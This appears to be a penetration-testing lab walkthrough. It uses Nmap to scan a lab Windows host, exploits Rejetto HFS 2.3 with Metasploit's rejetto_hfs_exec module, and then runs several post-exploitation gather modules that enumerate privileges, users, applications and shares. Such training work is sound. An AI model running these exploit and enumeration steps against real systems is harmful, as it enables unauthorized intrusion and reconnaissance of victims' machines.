In this lab environment, you will be provided with GUI access to a Kali machine. The target machine will be accessible at demo.ine.local.
Objective: Your task is to run various Windows Post Exploitation Metasploit modules against the compromised target.
Tools
The best tools for this lab are:
Nmap
Metasploit Framework
Writeup
nmap -sSVC demo.ine.local
PORT STATE SERVICE VERSION
80/tcp open http HttpFileServer httpd 2.3
|_http-server-header: HFS 2.3
|_http-title: HFS /
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
3389/tcp open ssl/ms-wbt-server?
| ssl-cert: Subject: commonName=WIN-OMCNBKR66MN
| Not valid before: 2025-06-09T17:18:26
|_Not valid after: 2025-12-09T17:18:26
|_ssl-date: 2025-06-10T17:22:08+00:00; +1s from scanner time.
| rdp-ntlm-info:
| Target_Name: WIN-OMCNBKR66MN
| NetBIOS_Domain_Name: WIN-OMCNBKR66MN
| NetBIOS_Computer_Name: WIN-OMCNBKR66MN
| DNS_Domain_Name: WIN-OMCNBKR66MN
| DNS_Computer_Name: WIN-OMCNBKR66MN
| Product_Version: 6.3.9600
|_ System_Time: 2025-06-10T17:22:00+00:00
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 3:0:2:
|_ Message signing enabled but not required
| smb2-time:
| date: 2025-06-10T17:22:01
|_ start_date: 2025-06-10T17:18:22
msfconsole
use exploit/windows/http/rejetto_hfs_exec
set rhosts demo.ine.local
run
background
use post/windows/gather/win_privs
set SESSION 1
run
use post/windows/gather/enum_logged_on_users
set SESSION 1
run
use post/windows/gather/checkvm
set SESSION 1
run
use post/windows/gather/enum_applications
set SESSION 1
run
use post/windows/gather/enum_computers
set SESSION 1
run
use post/windows/gather/enum_shares
set SESSION 1
run